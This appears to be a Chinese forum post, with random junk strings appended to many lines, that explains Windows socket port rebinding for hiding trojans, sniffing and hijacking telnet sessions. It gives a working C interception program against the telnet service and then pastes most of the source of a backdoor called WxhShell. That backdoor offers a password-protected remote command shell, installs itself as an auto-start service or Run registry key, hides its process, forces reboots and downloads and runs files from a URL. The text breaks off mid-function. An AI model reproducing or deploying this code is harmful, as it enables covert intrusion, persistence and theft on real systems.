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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `\Z7It?aDs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2)cq!Zv  
bh V.uBH  
  saddr.sin_family = AF_INET; #2{H!jr  
i-Er|u; W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3V2dN )\  
D;nm~O%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M^S <G  
:rR)rj'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xL&M8:  
#k?uYg8  
  这意味着什么?意味着可以进行如下的攻击: ~?E.U,R  
\2]M &n GT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qD!qSM  
F/.nr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s aY;[bz}  
#$-{hg{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]l/ PyX  
^E-BB 6D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7\.{O$Q  
oA+/F]XJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GP<PU  
CvkZ<i){  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :Q]P=-Y8  
$DS|jnpV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l|{q8i#4V  
X3mHg5zt  
  #include IPHZ~'M  
  #include ,y5,+:Y ~  
  #include P]cC2L@Vbi  
  #include    bSJ@ 5qS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '/O >#1  
  int main() ^W#161&  
  { yVZLZLm  
  WORD wVersionRequested; `|&#=hl~  
  DWORD ret; w&F.LiX^  
  WSADATA wsaData; I) ]"`2w2w  
  BOOL val; sQ"; t=yC  
  SOCKADDR_IN saddr; Q7#Yw"#G!  
  SOCKADDR_IN scaddr; [8%R*}  
  int err; R^*%yjy9  
  SOCKET s; o|`%>&jP  
  SOCKET sc; {wJ8% ;Z7  
  int caddsize; + PAb+E|,  
  HANDLE mt; {#U 3A_y  
  DWORD tid;   Rq`d I~5!b  
  wVersionRequested = MAKEWORD( 2, 2 ); t nvCtuaR  
  err = WSAStartup( wVersionRequested, &wsaData ); @{V bu  
  if ( err != 0 ) { $@utlIXA'  
  printf("error!WSAStartup failed!\n"); Te d1Ky2O  
  return -1; xky +"  
  }  4>R)2g  
  saddr.sin_family = AF_INET; RwyX,|  
   CNMcQP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VPi*9(LS  
H6/n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KATu7)e&~^  
  saddr.sin_port = htons(23); SB x<-^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , ;$SRQ.  
  { y <] x  
  printf("error!socket failed!\n"); qe[P'\]L  
  return -1; H3#rFO"C*  
  } W6^YFN  
  val = TRUE; o$q})!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Gov]^?^D-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7ILb&JQ!%{  
  { [Fk|%;B/~  
  printf("error!setsockopt failed!\n"); 2]:Z7Ji  
  return -1; .(g"(fgF  
  } ]L6[ vJHx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4ux^K:z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }kZ)|/]kn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3Z_\.Z1R@  
 -^ceTzW+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +?9. &<?  
  { EBMZ7b-7  
  ret=GetLastError(); c9O0YQ3&8  
  printf("error!bind failed!\n"); nq%GLUH   
  return -1; .dPy<6E  
  } CbW>yr  
  listen(s,2); uz;zmK  
  while(1) }'u0Q6Obj  
  { wNm1H[{  
  caddsize = sizeof(scaddr); b=PB"-  
  //接受连接请求 1ir~WFP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +yd{-iH  
  if(sc!=INVALID_SOCKET) B%(-UTQf  
  { 9f #6Q*/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  ]j:aO  
  if(mt==NULL) Lj2Au_5  
  { 9 v 3%a3  
  printf("Thread Creat Failed!\n"); + 'V ,z  
  break; HDHC9E6  
  } Ihy76_OZ  
  } ~0V,B1a  
  CloseHandle(mt); ,Pj UlcO_  
  } {Rtl<W0  
  closesocket(s); 2fFGS.l  
  WSACleanup(); / NB;eV?  
  return 0; -izZ D  
  }   VMl)_M:'  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]I: h4hgw  
  { |R3A$r#-  
  SOCKET ss = (SOCKET)lpParam; M _e^KF  
  SOCKET sc; ?#gYu %7DN  
  unsigned char buf[4096]; >A.m`w  
  SOCKADDR_IN saddr; "w&G1kw5I  
  long num; +`&-xq76  
  DWORD val; ?4sF:Y+\  
  DWORD ret; i%# <Hi7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dOFK;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5pz(6gA  
  saddr.sin_family = AF_INET; "JpnmE[`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9jf2b  
  saddr.sin_port = htons(23); NR.YeKsBq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q[ 5&  
  { lG R6S  
  printf("error!socket failed!\n"); ^GC 8^f  
  return -1; s)5W:`MH?  
  } ueP a4e!  
  val = 100; C^fUhLVSZ^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sp\ 7  
  { {GhM,-%e  
  ret = GetLastError(); &Xp<%[:  
  return -1; NsF8`r g  
  } eUEO~M2&U{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EZ)$lw/!J  
  { wq>0W 4(  
  ret = GetLastError(); I%tJLdL  
  return -1; :>o2UH  
  } (aX6jdvo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xB|?}uS-  
  { xC YL3hl  
  printf("error!socket connect failed!\n"); |#J!oBS!  
  closesocket(sc); o l8|  
  closesocket(ss); Rdl^-\BV  
  return -1; rssn'h  
  } g1(`a`M  
  while(1) ~T:L0||.%9  
  { (4"Azo*~![  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L9^h .Y7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M&ec%<lM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]#P>wW  
  num = recv(ss,buf,4096,0); w<jlE8u  
  if(num>0) @R s3i;"W  
  send(sc,buf,num,0); ]vUTb9>{?  
  else if(num==0) cwBf((~  
  break; M2rgB%W)m  
  num = recv(sc,buf,4096,0); eGk`Z>  
  if(num>0) [*z`p;n2D  
  send(ss,buf,num,0); o}6d[G>  
  else if(num==0) B`/p[U5  
  break; ,#hx%$f}d  
  } ZE4xF8  
  closesocket(ss); f{ER]U  
  closesocket(sc); a9niXy}a(  
  return 0 ; 69JC!du  
  } *c' hmA s  
X~> 2iL  
@ZtDjxN &  
========================================================== #n6<jF1G  
]`u_d}`  
下边附上一个代码,,WXhSHELL #9 u2LK  
!fK9YW(Im  
========================================================== :uQ~?amM  
MtXTh*4  
#include "stdafx.h" 'J(B{B7|  
<p\iB'y  
#include <stdio.h> L0EF CQ7  
#include <string.h> 5|Hz$oU  
#include <windows.h> rFU|oDF  
#include <winsock2.h> Ika(ip#]=  
#include <winsvc.h> !F[^?:pK  
#include <urlmon.h> f ,WAl\  
Oq4J$/%  
#pragma comment (lib, "Ws2_32.lib") K-,8~8[  
#pragma comment (lib, "urlmon.lib") IHStN,QD  
\iM  
#define MAX_USER   100 // 最大客户端连接数 q&0I7OV  
#define BUF_SOCK   200 // sock buffer 6U[bAp  
#define KEY_BUFF   255 // 输入 buffer <ecif_a=m  
m j@{hGP  
#define REBOOT     0   // 重启 } 0x'm  
#define SHUTDOWN   1   // 关机 0PT\/imgN  
_'"$,~ZWY  
#define DEF_PORT   5000 // 监听端口 tp?< e  
;nZN}&m   
#define REG_LEN     16   // 注册表键长度 q8[I` V{  
#define SVC_LEN     80   // NT服务名长度 (vb8Mk  
;=F]{w]$+  
// 从dll定义API VtzX I2.2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *Rj(~Q/t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sJB::6+1(|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E'wJ+X9 +  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :y8wv|m  
=6^phZ(  
// wxhshell配置信息 3e7P w`gLl  
struct WSCFG { \&. ]!!Q  
  int ws_port;         // 监听端口 iz5WWn^  
  char ws_passstr[REG_LEN]; // 口令 tC4 7P[b  
  int ws_autoins;       // 安装标记, 1=yes 0=no C">w3#M%  
  char ws_regname[REG_LEN]; // 注册表键名 18];fC  
  char ws_svcname[REG_LEN]; // 服务名 EH~XN9b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HL34pmc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CH4 ~9mmE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $pGdGV\H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o<\9OQ0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gy6Pf4Yo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1GI/gc\  
J-)9>~[E<  
}; /4lm=ZE/  
aEwwK(ny  
// default Wxhshell configuration kCVA~ %d7  
struct WSCFG wscfg={DEF_PORT, <yz&> +9,  
    "xuhuanlingzhe", jk-e/C  
    1, CF_pIfbaf  
    "Wxhshell", 4;.y>~z  
    "Wxhshell", iQJ[?l`  
            "WxhShell Service", c037#&Q%#  
    "Wrsky Windows CmdShell Service", )%D>U  
    "Please Input Your Password: ", |)WN%#v  
  1, Cp[ NVmN  
  "http://www.wrsky.com/wxhshell.exe", j& ~`wGM  
  "Wxhshell.exe" [6{o13mCWE  
    }; %YbcI|i]<0  
+8~C&K:  
// 消息定义模块 4g}'/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Uth H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'I8K1Q=/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f!n0kXVu6U  
char *msg_ws_ext="\n\rExit."; '&n4W7  
char *msg_ws_end="\n\rQuit."; 5}" @$.{i  
char *msg_ws_boot="\n\rReboot...";  Q  
char *msg_ws_poff="\n\rShutdown..."; 5y%-K=d  
char *msg_ws_down="\n\rSave to "; Hd9vS"TN]  
[9>h! khs  
char *msg_ws_err="\n\rErr!"; %}0B7_6B+@  
char *msg_ws_ok="\n\rOK!"; -T+7u  
kjVJ!R\  
char ExeFile[MAX_PATH]; =%+O.  
int nUser = 0; Ccx1#^`  
HANDLE handles[MAX_USER]; ?N/6m  
int OsIsNt; b w2KD7  
bJ#]Xm(]D  
SERVICE_STATUS       serviceStatus; k}h\RCy%f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k;W`6:Kjp  
 a }m>  
// 函数声明 n%Df6zQ<@s  
int Install(void); l6O8:XI  
int Uninstall(void); ~.H*"  
int DownloadFile(char *sURL, SOCKET wsh); |A0)-sVZ  
int Boot(int flag); oR_qAb  
void HideProc(void); (;.wsz &K  
int GetOsVer(void); cN(Toj'`  
int Wxhshell(SOCKET wsl); D8S3YdJ  
void TalkWithClient(void *cs); p3R: 3E6p  
int CmdShell(SOCKET sock); svTKt%6X  
int StartFromService(void); ^^C@W?.z  
int StartWxhshell(LPSTR lpCmdLine); yl'@p 5n  
(yB)rBh>n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xG|T_|?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J jp)%c#_  
yv2N5IQ>{V  
// 数据结构和表定义 ?cRGdLP'D  
SERVICE_TABLE_ENTRY DispatchTable[] = b!J%s   
{ 1#m'u5L  
{wscfg.ws_svcname, NTServiceMain}, B=p6p f  
{NULL, NULL} q }'ww  
}; mtunD;_Dek  
2MQ XtK  
// 自我安装 bxrT[]  
int Install(void) S pqbr@j  
{ ^}PG*h|  
  char svExeFile[MAX_PATH]; ~Y.I;EPKt  
  HKEY key; vz1yH%~E  
  strcpy(svExeFile,ExeFile); j[e<CGZ  
A)j',jE&1  
// 如果是win9x系统,修改注册表设为自启动 *fj5$T-Z  
if(!OsIsNt) { >ukn<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uz%<K(:Ov  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &ap&dM0@%a  
  RegCloseKey(key); H/?@UJ5m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RL|d-A+;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); do$+ Eh  
  RegCloseKey(key); v+b#8  
  return 0; XHER[8l  
    } c1x{$  
  } a(Fx1`}  
} N9}27T+4  
else { rUL_=>3  
AIU=56+I\  
// 如果是NT以上系统,安装为系统服务 :kb2v1{\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4[VW~x07  
if (schSCManager!=0) *?v_AZ  
{ :{Mr~Co*  
  SC_HANDLE schService = CreateService f2f2&|7  
  ( (.Th?p%>7  
  schSCManager, vi1 D<  
  wscfg.ws_svcname, )oU%++cdo  
  wscfg.ws_svcdisp, Wq}Y|0c  
  SERVICE_ALL_ACCESS,  'K7m!y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9z9\pXFQ  
  SERVICE_AUTO_START, &Fg|52  
  SERVICE_ERROR_NORMAL, bMp[:dw`y  
  svExeFile, rQb=/@-  
  NULL, \fD)|   
  NULL, 5HqvSfq>?  
  NULL, !CGpE=V  
  NULL, Z&![W@m@0N  
  NULL A6Vb'Gqv{  
  ); \)'5V!B|s  
  if (schService!=0) FMNT0  
  { `$oy4lDKQ  
  CloseServiceHandle(schService); p`I[3/$3  
  CloseServiceHandle(schSCManager); m*f"Y"B.1I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =euMOs  
  strcat(svExeFile,wscfg.ws_svcname); .X](B~\!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qt+i0xd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V<&^zIJUR  
  RegCloseKey(key); \Aq$h:<  
  return 0; Zb4+zps^-  
    } aT_%G&.  
  } w}WfQj  
  CloseServiceHandle(schSCManager); =v:}{~M^$  
} 2K VX  
} o^8Z cN>  
vBLs88  
return 1; vi; yT.  
} _X]\#^UiO2  
6'[gd  
// 自我卸载 ]VcuD05"C  
int Uninstall(void) l&Cy K#B:\  
{ F(DM$5z[  
  HKEY key; 9@^N* E+  
;BmPP,  
if(!OsIsNt) { \`oP\|Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s/\<;g:u^  
  RegDeleteValue(key,wscfg.ws_regname); me+u"G9I;  
  RegCloseKey(key); 8mM`v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &WJ;s*  
  RegDeleteValue(key,wscfg.ws_regname); m8,jVR  
  RegCloseKey(key); l0K_29^  
  return 0; V M{Sng  
  } *ORa@ x  
} L}UrI&]V$:  
} ]MmFtdvE  
else { K +l-A>Ic  
oH"VrS 6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E0*62OI~O  
if (schSCManager!=0) cof+iI~9O%  
{ Ie7S'.Lmq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q${+I(b,  
  if (schService!=0) n3_| # 1Qu  
  { 8'-E>+L   
  if(DeleteService(schService)!=0) { ZYLPk<<  
  CloseServiceHandle(schService); AvZO R  
  CloseServiceHandle(schSCManager); %zYTTPLZ  
  return 0; xFA+Zj BC  
  } 5h [<!f=  
  CloseServiceHandle(schService); cXIuGvE&=  
  } f#&@Vl(i&  
  CloseServiceHandle(schSCManager); ~sVbg$]\G  
} ^5q}M'  
} )CoJ9PO7  
5 D[`nU}  
return 1; _ 5/3RN  
} ,E &W{b  
PnJA'@x  
// 从指定url下载文件 !N74y%=M  
int DownloadFile(char *sURL, SOCKET wsh) #SR )tU  
{ $VJE&b  
  HRESULT hr; "\O{!Hj8  
char seps[]= "/"; \F9HsR6  
char *token; 6 g)X&pZ  
char *file; j)mi~i*U  
char myURL[MAX_PATH]; ?OBB)hj  
char myFILE[MAX_PATH]; 0~Iq9}{*P  
G7k.YtW  
strcpy(myURL,sURL); bW2Msv/H  
  token=strtok(myURL,seps); Q94p*]W"  
  while(token!=NULL) )(h<vo)-zX  
  { H)pB{W/  
    file=token; V>"N VRY  
  token=strtok(NULL,seps); d(q2gd@  
  } asJt 6C  
}w5`Oig[  
GetCurrentDirectory(MAX_PATH,myFILE); yHs'E4V`$  
strcat(myFILE, "\\"); GiKmB-HO  
strcat(myFILE, file); l:(?|1_  
  send(wsh,myFILE,strlen(myFILE),0); v M $Tn  
send(wsh,"...",3,0); 2>vn'sXdj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ',s{N9  
  if(hr==S_OK) 6)1xjE#  
return 0; ?MD\\gN  
else tg;AF<VI  
return 1; q) !G5j3  
q]DE\*@  
} F>ps& h  
i|N(= Z=  
// 系统电源模块 A&`7 l5~X  
int Boot(int flag) Q32GI,M%B  
{ D' `[y  
  HANDLE hToken; DIWcX<s  
  TOKEN_PRIVILEGES tkp; kYu"`_n}  
mU;\,96#  
  if(OsIsNt) {  V/t-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *?!A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0c]3 ,#  
    tkp.PrivilegeCount = 1; $Hal]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 24I~{Qy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K~14;  
if(flag==REBOOT) { V3[>^ZCA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jm3iYR+,  
  return 0; y2@8?  
} Ombvp;  
else { LLJsBHi-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cxxrvP-  
  return 0; 'cf8VD  
} '+iqbcUd,  
  } qdwjg8fo4Z  
  else { cB4p.iO   
if(flag==REBOOT) { e2Df@8>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R|K#nh  
  return 0; ''wF%q  
} ;op 8r u  
else { gro@+^DmT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $-lP"m@}  
  return 0; /@9-D 4  
} pd oCV  
} fMIKA72>{  
r8vF I6J  
return 1; bS*oFm@u  
} /;xmM 2B'  
T^.W'  
// win9x进程隐藏模块 `YPNVm<3)  
void HideProc(void) =xPBolxm5U  
{ Y 9~z7  
usOIbrQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S<DS|qOo  
  if ( hKernel != NULL ) X] v.Yk=wu  
  { k?ksv+e\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KHt.g`1:R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `+EjmY  
    FreeLibrary(hKernel); pYaq1_<+  
  } YJ~3eZQ  
qJLtqv  
return; pax;#*QcQ  
} C]DvoJmBs  
ccJ!N  
// 获取操作系统版本 y3pr(w9A  
int GetOsVer(void) .RxAYf|  
{ Zn"1qLPF  
  OSVERSIONINFO winfo; \!,qXfTMB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |k=L&vs  
  GetVersionEx(&winfo); @Xq3>KJ_)H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?#_]Lzn'  
  return 1;  B!+`km5  
  else 3bPF+(`J  
  return 0; $_NP4V8|z/  
} .+Fh,bNYK  
mLL?n)   
// 客户端句柄模块 +)l6%QKcW  
int Wxhshell(SOCKET wsl) oN " /w~  
{ H| 1O>p&  
  SOCKET wsh; #F!'B|n  
  struct sockaddr_in client; K(B|o6[  
  DWORD myID; 4O** %!|  
[G[|auKF  
  while(nUser<MAX_USER) XhxCOpO  
{ ay,E!G&H  
  int nSize=sizeof(client); s7}46\/U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RNn5,W  
  if(wsh==INVALID_SOCKET) return 1; s6J`i&uu  
8^%Nl `_2B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a5# B&|#q  
if(handles[nUser]==0) x"QZ}28(t  
  closesocket(wsh); FZ^j|2.L*  
else V+2C!)f(  
  nUser++; 9`p|>d!.  
  } dS m; e_s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ULIpb  
ESt@%7.F  
  return 0; Zqnwf  
} x-HN]quhe  
x)Ls(Xh+g  
// 关闭 socket vZl]C%  
void CloseIt(SOCKET wsh) qg#|1J6e  
{ ~kW[d1'c  
closesocket(wsh); +>wBGVvS  
nUser--; e4/Y/:vFO  
ExitThread(0); 5T4!' 4n  
} E T 2@dY~  
{`M 'ruy.%  
// 客户端请求句柄 !*@sX7H  
void TalkWithClient(void *cs) xf]_@T;  
{ a@&P\"k  
8Mf{6&F=  
  SOCKET wsh=(SOCKET)cs; HRxA0y=  
  char pwd[SVC_LEN]; YB1uudW9  
  char cmd[KEY_BUFF]; R:t>P Fwo  
char chr[1]; }{.0mu9  
int i,j; a2'f#[as  
b qNM  
  while (nUser < MAX_USER) { ;5 JzrbtL  
7r4|>F  
if(wscfg.ws_passstr) {  YXr"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ht 1d[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nD51,1>  
  //ZeroMemory(pwd,KEY_BUFF); UfWn\*J&k  
      i=0; O>H'o k  
  while(i<SVC_LEN) { CFU'- #b  
96FS-`  
  // 设置超时 z nxAP|  
  fd_set FdRead; c_#+xGS!7  
  struct timeval TimeOut; MQ{.%  
  FD_ZERO(&FdRead); o6[aP[~F  
  FD_SET(wsh,&FdRead); |kXx9vGq@  
  TimeOut.tv_sec=8; c/Ykk7T9--  
  TimeOut.tv_usec=0; <//#0r*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !ENDQ?1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M#7w54~b?M  
m<X[s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]F4 .m  
  pwd=chr[0]; L d;))e  
  if(chr[0]==0xd || chr[0]==0xa) { qXw^y  
  pwd=0; Ob#d;F  
  break; {5, ]7=]  
  } _^5OoE"}!  
  i++; gx',~  
    } j aEUz5  
\6)]!$F6:  
  // 如果是非法用户,关闭 socket 2aR<xcSg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c?0.>^,B Q  
} o'SZ sG  
AYP*J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t.`&Q|a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7(S66  
:K)7_]y  
while(1) { i=^!? i  
t) :'XGk@  
  ZeroMemory(cmd,KEY_BUFF); il5Qo  
y9xvGr[l  
      // 自动支持客户端 telnet标准   W#.+C6/  
  j=0; 4,]z  
  while(j<KEY_BUFF) { ,&5\`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R#^.8g)t  
  cmd[j]=chr[0]; !\ 6<kQg#  
  if(chr[0]==0xa || chr[0]==0xd) { f"}g5eg+  
  cmd[j]=0; !F|#TETrt  
  break; $%P?2g"j,  
  } W:gpcR]>  
  j++; fZ5zsm'N  
    } nde_%d$  
W Y]   
  // 下载文件 ~stJO])a  
  if(strstr(cmd,"http://")) { $,)PO Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NrK.DY4  
  if(DownloadFile(cmd,wsh)) &{uj3s&C   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ni gn" r  
  else hRwj-N%C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MoX~ZewWR  
  } 9{KL^O?g  
  else { psFY=^69o  
}83a^E9L  
    switch(cmd[0]) { ^kO+NH40  
  +>}LT_  
  // 帮助 d^(7\lw|  
  case '?': { `i:DmIoz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9>6DA^  
    break; rV_i|  
  } s ]XZQr%  
  // 安装 / :z<+SCh  
  case 'i': { $&~moAl  
    if(Install()) 2t,N9@u=UN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qC x|}5:  
    else Kt#_Ln_6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uSgR|b;R]  
    break; YstR T1  
    } >_J9D?3S  
  // 卸载 SIridZ*%  
  case 'r': { |8q:sr_  
    if(Uninstall()) ! *eDT4a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MfA@)v  
    else /Bw <?:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F(?O7z"d  
    break; -Lhq.Q*a  
    } qeUT]* w  
  // 显示 wxhshell 所在路径 QJ,[K _  
  case 'p': { !*1 $j7`tP  
    char svExeFile[MAX_PATH]; o"!C8s_6  
    strcpy(svExeFile,"\n\r"); %;eD.If}  
      strcat(svExeFile,ExeFile); ,6EhtNDu  
        send(wsh,svExeFile,strlen(svExeFile),0); teKx^ 'c'  
    break; ?:$\ t?e^  
    } D 0 O^=v|  
  // 重启 Fd86P.Df  
  case 'b': { Iz^vt#b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cE;n>ta"F  
    if(Boot(REBOOT)) bQ3txuha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (yb$h0HN  
    else { l@)`Q  
    closesocket(wsh); \47djmG-  
    ExitThread(0); lHUd<kEC  
    } Gl"|t't(  
    break; N<PDQ  
    } 3Cw}y55_y  
  // 关机 %vil ~NU  
  case 'd': { lQM&q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7tbY>U8  
    if(Boot(SHUTDOWN)) `y|_hb  
